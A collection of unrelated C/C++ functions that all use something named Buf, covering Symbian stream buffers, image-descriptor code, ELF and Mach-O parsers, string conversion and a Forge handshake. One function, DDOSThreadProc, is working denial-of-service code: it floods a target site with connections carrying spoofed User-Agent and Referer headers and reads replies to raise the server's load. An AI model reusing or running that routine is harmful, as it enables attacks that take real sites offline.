EXPORT_C void TBufBuf::DoWriteL(const TAny* aPtr,TInt aLength) // // Consume aLength bytes, taking care of any reallocation. // { __ASSERT_ALWAYS(iMode&EWrite,Panic(EMemCannotWrite)); __ASSERT_DEBUG(aLength>=0,Panic(EMemWriteLengthNegative)); __ASSERT_DEBUG(aLength>0,Panic(EMemWriteNoTransfer)); TInt len=(iMode&EInsert?0:Min(aLength,Buf().Size()-Mark(EWrite))); if (len>0) { TStreamBuf::DoWriteL(aPtr,len); aPtr=(TUint8*)aPtr+len; aLength-=len; } if (aLength>0) { Consolidate(); TInt pos=Pos(EWrite); Buf().InsertL(pos,aPtr,aLength); if (Pos(ERead)>pos) MovePos(ERead,aLength); SetPos(EWrite,pos+aLength); } }
static void GetMagsAndOrients_GeneralCase( vec_double& mags, // out vec_double& orients, // out const int ix, // in: x coord of center of patch const int iy, // in: y coord of center of patch const int patchwidth, // in const MAT& magmat, // in const MAT& orientmat, // in const vec_double& pixelweights) // in { const int halfpatchwidth = (patchwidth-1) / 2; int ipix = 0; for (int x = iy - halfpatchwidth; x <= iy + halfpatchwidth; x++) { const double* const magbuf = Buf(magmat) + x * magmat.cols; const double* const orientbuf = Buf(orientmat) + x * orientmat.cols; for (int y = ix - halfpatchwidth; y <= ix + halfpatchwidth; y++) { if (x < 0 || x >= magmat.rows || y < 0 || y >= magmat.cols) { mags[ipix] = 0; // off image orients[ipix] = 0; } else // in image { mags[ipix] = pixelweights[ipix] * magbuf[y]; orients[ipix] = orientbuf[y]; } ipix++; } } CV_DbgAssert(ipix == NSIZE(mags)); }
inline bool Next(const void** ptr, size_t* len) { if (MemInput_.Exhausted()) { MemInput_.Reset(Buf(), Slave_->Read(Buf(), BufLen())); } return MemInput_.Next(ptr, len); }
static double GetHatFit( // args same as non CACHE version, see below int x, // in int y, // in const HatFit hatfit) // in { const double* descbuf = NULL; // the HAT descriptor // for max cache hit rate, x and y should divisible by HAT_SEARCH_RESOL CV_DbgAssert(x % HAT_SEARCH_RESOL == 0); CV_DbgAssert(y % HAT_SEARCH_RESOL == 0); if (TRACE_CACHE) ncalls_g++; const unsigned key(Key(x, y)); #pragma omp critical // prevent OpenMP concurrent access to cache_g { hash_map<unsigned, VEC>:: const_iterator it(cache_g.find(key)); if (it != cache_g.end()) // in cache? { descbuf = Buf(it->second); // use cached descriptor if (TRACE_CACHE) nhits_g++; } } if (descbuf == NULL) // descriptor not in cache? { const VEC desc(hat_g.Desc_(x, y)); #pragma omp critical // prevent OpenMP concurrent access to cache_g cache_g[key] = desc; // remember descriptor for possible re-use descbuf = Buf(desc); } return hatfit(descbuf); }
static inline void GetMagsAndOrients_AllInImg( vec_double& mags, // out vec_double& orients, // out const int ix, // in: x coord of center of patch const int iy, // in: y coord of center of patch const int patchwidth, // in const MAT& magmat, // in const MAT& orientmat, // in const vec_double& pixelweights) // in { const int halfpatchwidth = (patchwidth-1) / 2; int ipix = 0; for (int x = iy - halfpatchwidth; x <= iy + halfpatchwidth; x++) { const double* const magbuf = Buf(magmat) + x * magmat.cols; const double* const orientbuf = Buf(orientmat) + x * orientmat.cols; for (int y = ix - halfpatchwidth; y <= ix + halfpatchwidth; y++) { mags[ipix] = pixelweights[ipix] * magbuf[y]; orients[ipix] = orientbuf[y]; ipix++; } } CV_DbgAssert(ipix == NSIZE(mags)); }
void CMACHO<MACSTRUCTURES>::ParseFile(){ // Load and parse file buffer FileHeader = *(TMAC_header*)Buf(); // Copy file header // Loop through file commands uint32 cmd, cmdsize; uint32 currentoffset = sizeof(TMAC_header); for (uint32 i = 1; i <= FileHeader.ncmds; i++) { if (currentoffset >= this->GetDataSize()) { err.submit(2016); return; } uint8 * currentp = (uint8*)(Buf() + currentoffset); cmd = ((MAC_load_command*)currentp) -> cmd; cmdsize = ((MAC_load_command*)currentp) -> cmdsize; // Interpret specific command type switch(cmd) { case MAC_LC_SEGMENT: { if (WordSize != 32) err.submit(2320); // mixed segment size MAC_segment_command_32 * sh = (MAC_segment_command_32*)currentp; SegmentOffset = sh->fileoff; // File offset of segment SegmentSize = sh->filesize; // Size of segment NumSections = sh->nsects; // Number of sections SectionHeaderOffset = currentoffset + sizeof(TMAC_segment_command); // File offset of section headers if (!ImageBase && strcmp(sh->segname, "__TEXT")==0) ImageBase = sh->vmaddr; // Find image base break;} case MAC_LC_SEGMENT_64: { if (WordSize != 64) err.submit(2320); // mixed segment size MAC_segment_command_64 * sh = (MAC_segment_command_64*)currentp; SegmentOffset = (uint32)sh->fileoff; // File offset of segment SegmentSize = (uint32)sh->filesize; // Size of segment NumSections = sh->nsects; // Number of sections SectionHeaderOffset = currentoffset + sizeof(TMAC_segment_command); // File offset of section headers if (!ImageBase && strcmp(sh->segname, "__TEXT")==0) ImageBase = sh->vmaddr; // Find image base break;} case MAC_LC_SYMTAB: { MAC_symtab_command * sh = (MAC_symtab_command*)currentp; SymTabOffset = sh->symoff; // File offset of symbol table SymTabNumber = sh->nsyms; // Number of entries in symbol table StringTabOffset = sh->stroff; // File offset of string table StringTabSize = sh->strsize; // Size of string table break;} case MAC_LC_DYSYMTAB: { MAC_dysymtab_command * sh = (MAC_dysymtab_command*)currentp; ilocalsym = sh->ilocalsym; // index to local symbols nlocalsym = sh->nlocalsym; // number of local symbols iextdefsym = sh->iextdefsym; // index to externally defined symbols nextdefsym = sh->nextdefsym; // number of externally defined symbols iundefsym = sh->iundefsym; // index to undefined symbols nundefsym = sh->nundefsym; // number of undefined symbols IndirectSymTabOffset = sh->indirectsymoff;// file offset to the indirect symbol table IndirectSymTabNumber = sh->nindirectsyms; // number of indirect symbol table entries break;} } currentoffset += cmdsize; } }
inline size_t Read(void* buf, size_t len) { if (MemInput_.Exhausted()) { if (len > BufLen() / 2) { return Slave_->Read(buf, len); } MemInput_.Reset(Buf(), Slave_->Read(Buf(), BufLen())); } return MemInput_.Read(buf, len); }
EXPORT_C void TBufBuf::OverflowL() // // Establish the buffer's write area. // { __ASSERT_ALWAYS(iMode&EWrite,Panic(EMemCannotWrite)); __ASSERT_DEBUG(Ptr(EWrite)==End(EWrite)&&Pos(EWrite)<Buf().Size(),User::Invariant()); TInt pos=Pos(EWrite); TPtr8 seg=Buf().Ptr(pos); TUint8* ptr=(TUint8*)seg.Ptr(); TInt len=seg.Length(); SetBuf(EWrite,ptr,ptr+len); SetPos(EWrite,pos+len); }
void TBufBuf::Consolidate() // // Empty buffer areas and, in truncate mode, cut off at the current write position. // { MovePos(ERead,-Avail(ERead)); MovePos(EWrite,-Avail(EWrite)); SetBuf(ERead|EWrite,NULL,NULL); if (iMode&ETruncate) { Buf().Delete(Pos(EWrite),Buf().Size()-Pos(EWrite)); iMode&=~ETruncate; } }
RetCode IStreamFileImpl::CopyTo(IStream *dest) const { Common::ISyncObject Locker(GetSynObj()); if (!File.Get()) return retFail; Common::RefObjPtr<IFaces::IStream> Dest(dest); if (!Dest.Get()) return retFail; try { unsigned long FileSize = File->GetSize(); if (!FileSize) return retOk; unsigned long CurPos = File->GetPos(); File->SeekToBegin(); const unsigned long MaxBufSize = 32 * 1024 * 1024; unsigned long BufSize = MaxBufSize > FileSize ? FileSize : MaxBufSize; std::vector<char> Buf(BufSize, 0); for (unsigned long i = File->Read(&Buf[0], BufSize) ; i ; i = File->Read(&Buf[0], BufSize)) { if (Dest->Write(&Buf[0], i) != retOk) return retFail; } File->SeekTo(CurPos); } catch (std::exception &) { return retFail; } return retOk; }
inline TImpl(TOutputStream* slave) : Slave_(slave) , MemOut_(Buf(), Len()) , PropagateFlush_(false) , PropagateFinish_(false) { }
std::map<Stroka, Stroka> ReadFile2Map( const char *file, const char delim, int KeyCol, int StrCol, const char *err_mes) { FILE *in = open(file, "r", err_mes); Stroka Buf(10000); map<Stroka, Stroka> res; Stroka line; while(GetLine(in, line, (char *)Buf.c_str(), (int)Buf.size())) { if(int(delim) == 0) res[line] = ""; else { vector<Stroka> lines; if(delim == ' ') lines = Str::SplitLine(line); else lines = Str::SplitLine(line, 1, delim); if(lines.size() <= (size_t)KeyCol) continue; if(StrCol == -1 || lines.size() <= (size_t)StrCol) res[lines[KeyCol]] = ""; else res[lines[KeyCol]] = lines[StrCol]; } } close(in); if(res.size() == 0 && err_mes) throw info_except( "File <%s> - is zero. Error mesage is:\n<%s>\n", file, err_mes); return res; }
static double GetHatFit( int x, // in: image x coord (may be off image) int y, // in: image y coord (may be off image) const HatFit hatfit) // in: func to estimate descriptor match { return hatfit(Buf(hat_g.Desc_(x, y))); }
static void ReadMatData( Shape& mat, // out int nrows, // in int ncols, // in FILE* file, // in const char* path) // in: for error reporting { double* data = Buf(mat); for (int i = 0; i < ncols * nrows; i++) { // skip comments and white space int c = ' '; while (c == ' ' || c == '\t' || c == '\n' || c == '\r') { c = fgetc(file); if (c == '#') // comment { SkipToEndOfLine(file, path); c = fgetc(file); } } if (c == EOF) PrematureEndOfFile(file, path); else { ungetc(c, file); float temp; // microsoft compiler can't sscanf doubles so use float if (!fscanf(file, "%g", &temp)) Err("%s(%d): Cannot read %dx%d matrix", path, LineNbr(file), nrows, ncols); data[i] = temp; } } }
EXPORT_C void TBufBuf::DoSynchL() // // Synchronise buffer and stream buffer and compress. // { Consolidate(); Buf().Compress(); }
void CELF<ELFSTRUCTURES>::ParseFile(){ // Load and parse file buffer uint32 i; FileHeader = *(TELF_Header*)Buf(); // Copy file header NSections = FileHeader.e_shnum; SectionHeaders.SetNum(NSections); // Allocate space for section headers SectionHeaders.SetZero(); uint32 Symtabi = 0; // Index to symbol table // Find section headers SectionHeaderSize = FileHeader.e_shentsize; if (SectionHeaderSize <= 0) err.submit(2033); uint32 SectionOffset = uint32(FileHeader.e_shoff); for (i = 0; i < NSections; i++) { SectionHeaders[i] = Get<TELF_SectionHeader>(SectionOffset); SectionOffset += SectionHeaderSize; if (SectionHeaders[i].sh_type == SHT_SYMTAB) { // Symbol table found Symtabi = i; } } SecStringTable = Buf() + uint32(SectionHeaders[FileHeader.e_shstrndx].sh_offset); SecStringTableLen = uint32(SectionHeaders[FileHeader.e_shstrndx].sh_size); if (SectionOffset > GetDataSize()) { err.submit(2110); // Section table points to outside file } if (Symtabi) { // Save offset to symbol table SymbolTableOffset = (uint32)(SectionHeaders[Symtabi].sh_offset); SymbolTableEntrySize = (uint32)(SectionHeaders[Symtabi].sh_entsize); // Entry size of symbol table if (SymbolTableEntrySize == 0) {err.submit(2034); return;} // Avoid division by zero SymbolTableEntries = uint32(SectionHeaders[Symtabi].sh_size) / SymbolTableEntrySize; // Find associated string table uint32 Stringtabi = SectionHeaders[Symtabi].sh_link; if (Stringtabi < NSections) { SymbolStringTableOffset = (uint32)(SectionHeaders[Stringtabi].sh_offset); SymbolStringTableSize = (uint32)(SectionHeaders[Stringtabi].sh_size); } else { Symtabi = 0; // Error } } }
void CELF<ELFSTRUCTURES>::PublicNames(CMemoryBuffer * Strings, CSList<SStringEntry> * Index, int m) { // Make list of public names // Interpret header: ParseFile(); // Loop through section headers for (uint32 sc = 0; sc < NSections; sc++) { // Get copy of 32-bit header or converted 64-bit header TELF_SectionHeader sheader = SectionHeaders[sc]; uint32 entrysize = uint32(sheader.sh_entsize); if (sheader.sh_type==SHT_SYMTAB || sheader.sh_type==SHT_DYNSYM) { // Dump symbol table // Find associated string table if (sheader.sh_link >= (uint32)NSections) {err.submit(2035); sheader.sh_link = 0;} int8 * strtab = Buf() + uint32(SectionHeaders[sheader.sh_link].sh_offset); // Find symbol table uint32 symtabsize = uint32(sheader.sh_size); int8 * symtab = Buf() + uint32(sheader.sh_offset); int8 * symtabend = symtab + symtabsize; if (entrysize < sizeof(TELF_Symbol)) {err.submit(2033); entrysize = sizeof(TELF_Symbol);} // Loop through symbol table for (int symi = 0; symtab < symtabend; symtab += entrysize, symi++) { // Copy 32 bit symbol table entry or convert 64 bit entry TELF_Symbol sym = *(TELF_Symbol*)symtab; int type = sym.st_type; int binding = sym.st_bind; if (int16(sym.st_shndx) > 0 && type != STT_SECTION && type != STT_FILE && (binding == STB_GLOBAL || binding == STB_WEAK)) { // Public symbol found SStringEntry se; se.Member = m; // Store name se.String = Strings->PushString(strtab + sym.st_name); // Store name index Index->Push(se); } } } } }
inline void Flush() { { Slave_->Write(Buf(), Stored()); Reset(); } if (PropagateFlush_) { Slave_->Flush(); } }
static void InitGradMagAndOrientMats( MAT& magmat, // out: grad mag mat MAT& orientmat, // out: grad ori mat const Image& img) // in: ROI scaled to current pyramid level { const int nrows = img.rows, nrows1 = img.rows-1; const int ncols = img.cols, ncols1 = img.cols-1; const double bins_per_degree = BINS_PER_HIST / 360.; magmat.create(nrows, ncols); orientmat.create(nrows, ncols); for (int y = 0; y < nrows1; y++) { const byte* const buf = (byte*)(img.data) + y * ncols; const byte* const buf_x1 = (byte*)(img.data) + y * ncols + 1; const byte* const buf_y1 = (byte*)(img.data) + (y+1) * ncols; double* const magbuf = Buf(magmat) + y * ncols; double* const orientbuf = Buf(orientmat) + y * ncols; for (int x = 0; x < ncols1; x++) { const byte pixel = buf[x]; const double xdelta = buf_x1[x] - pixel; const double ydelta = buf_y1[x] - pixel; magbuf[x] = sqrt(SQ(xdelta) + SQ(ydelta)); double orient = RadsToDegrees(atan2(ydelta, xdelta)); // -180 <= orient < 180 if (orient < 0) orient += 360; // 0 <= orient < 360 orientbuf[x] = orient * bins_per_degree; // 0 <= orient < BINS_PER_HIST } } // fill bottom and right edges magmat.row(nrows1) = 0; magmat.col(ncols1) = 0; orientmat.row(nrows1) = 0; orientmat.col(ncols1) = 0; }
// Функция выполнения многократного подключения к испытуемому сайту DWORD WINAPI DDOSThreadProc(TDDOS *DDOS) { TMemory Buf(1024); TMemory Referer(256); DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100; while (!DDOS->FTerminated) { // Создаём сокет SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0); if(Socket != SOCKET_ERROR) { // Подключаемся к серверу struct sockaddr_in SockAddr; SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list; SockAddr.sin_port = HTONS((unsigned short)DDOS->FRequest.Port); // подключаемся к сокету if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR ) { // Генерируем данные PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount); string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z'); DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount)); int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr()); int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0); // Для увеличения нагрузки на сервер пытаемся получить от сервера ответ if (Sended == Size) { Size = (int)precv(Socket, Buf.Buf(), 1024, 0); } } pclosesocket(Socket); } // Ждём до следующей отправки if (!DDOS->FTerminated) pSleep(SleepInterval); } pInterlockedDecrement(&DDOS->FThreadsCount); return 0; }
static void CopyHistsToDesc( // copy histograms to descriptor, skipping pad bins VEC& desc, // out const vec_double& histbins) // in { for (int row = 0; row < GRIDHEIGHT; row++) for (int col = 0; col < GRIDWIDTH; col++) memcpy(Buf(desc) + (row * GRIDWIDTH + col) * BINS_PER_HIST, &histbins[HistIndex(row, col, 0)], BINS_PER_HIST * sizeof(histbins[0])); }
static double SumAbsElems( // return the sum of the abs values of the elems of mat const MAT& mat) // in { CV_Assert(mat.isContinuous()); const double* const data = Buf(mat); double sum = 0; int i = NSIZE(mat); // number of elements while (i--) sum += ABS(data[i]); return sum; }
inline bool ReadTo(Stroka& st, char to) { Stroka res; Stroka s_tmp; bool ret = false; while (true) { if (MemInput_.Exhausted()) { const size_t readed = Slave_->Read(Buf(), BufLen()); if (!readed) { break; } MemInput_.Reset(Buf(), readed); } const size_t a_len(MemInput_.Avail()); MemInput_.ReadTo(s_tmp, to); const size_t s_len = s_tmp.length(); /* * mega-optimization */ if (res.empty()) { res.swap(s_tmp); } else { res += s_tmp; } ret = true; if (s_len != a_len) { break; } } st.swap(res); return ret; }
std::string WStringToAStringImpl(const std::wstring &str, bool toUTF8) { if (toUTF8) { std::string RetStr; utf8::utf16to8(str.begin(), str.end(), std::back_inserter(RetStr)); return RetStr; } size_t Len = str.length() + 1; std::vector<char> Buf(Len, 0); wcstombs(&Buf[0], str.c_str(), Len - 1); return &Buf[0]; }
inline void Write(const void* buf, size_t len) { if (len <= MemOut_.Avail()) { /* * fast path */ MemOut_.Write(buf, len); } else { #if 1 const size_t stored = Stored(); const size_t full_len = stored + len; const size_t good_len = DownToBufferGranularity(full_len); const size_t write_from_buf = good_len - stored; typedef TOutputStream::TPart TPart; const TPart parts[] = { TPart(Buf(), stored), TPart(buf, write_from_buf) }; Slave_->Write(parts, sizeof(parts) / sizeof(*parts)); Reset(); if (write_from_buf < len) { MemOut_.Write((const char*)buf + write_from_buf, len - write_from_buf); } #else typedef TOutputStream::TPart TPart; const TPart parts[] = { TPart(Buf(), Stored()), TPart(buf, len) }; Slave_->Write(parts, sizeof(parts) / sizeof(*parts)); Reset(); #endif } }
UnicodeString ExpandFileName(const UnicodeString & FileName) { UnicodeString Result; UnicodeString Buf(MAX_PATH, 0); intptr_t Size = GetFullPathNameW(FileName.c_str(), static_cast<DWORD>(Buf.Length() - 1), reinterpret_cast<LPWSTR>(const_cast<wchar_t *>(Buf.c_str())), nullptr); if (Size > Buf.Length()) { Buf.SetLength(Size); Size = ::GetFullPathNameW(FileName.c_str(), static_cast<DWORD>(Buf.Length() - 1), reinterpret_cast<LPWSTR>(const_cast<wchar_t *>(Buf.c_str())), nullptr); } return UnicodeString(Buf.c_str(), Size); }
static void NormalizeDesc( // take sqrt of elems and divide by L2 norm VEC& desc) // io { double* const data = Buf(desc); for (int i = 0; i < NSIZE(desc); i++) data[i] = sqrt(data[i]); // sqrt reduces effect of outliers const double norm = cv::norm(desc); // L2 norm if (!IsZero(norm)) { const double scale = FINAL_SCALE / norm; for (int i = 0; i < NSIZE(desc); i++) data[i] *= scale; } }
void cForgeHandshake::SendServerHello() { AString Message; cByteBuffer Buf(6); // Discriminator | Byte | Always 0 for ServerHello Buf.WriteBEInt8(Discriminator::ServerHello); // FML protocol Version | Byte | Determined from NetworkRegistery. Currently 2. Buf.WriteBEInt8(2); // Dimension TODO Buf.WriteBEInt32(0); Buf.ReadAll(Message); m_Client->SendPluginMessage("FML|HS", Message); }
std::wstring AStringToWStringImpl(const std::string &str, bool fromUTF8) { if (fromUTF8) { if (utf8::find_invalid(str.begin(), str.end()) != str.end()) return L""; std::wstring RetStr; utf8::utf8to16(str.begin(), str.end(), std::back_inserter(RetStr)); return RetStr; } size_t Len = str.length() + 1; std::vector<wchar_t> Buf(Len, 0); mbstowcs(&Buf[0], str.c_str(), Len - 1); return &Buf[0]; }
void COMFFileBuilder::EndRecord() { // Finish building current record // Update length Get<uint16>(RecordStart + 1) = GetSize() + 1; // Make checksum int8 checksum = 0; for (uint32 i = RecordStart; i < Index; i++) checksum += Buf()[i]; PutByte(-checksum); // Check size limit if (GetSize() > 0x407) { err.submit(9005); } }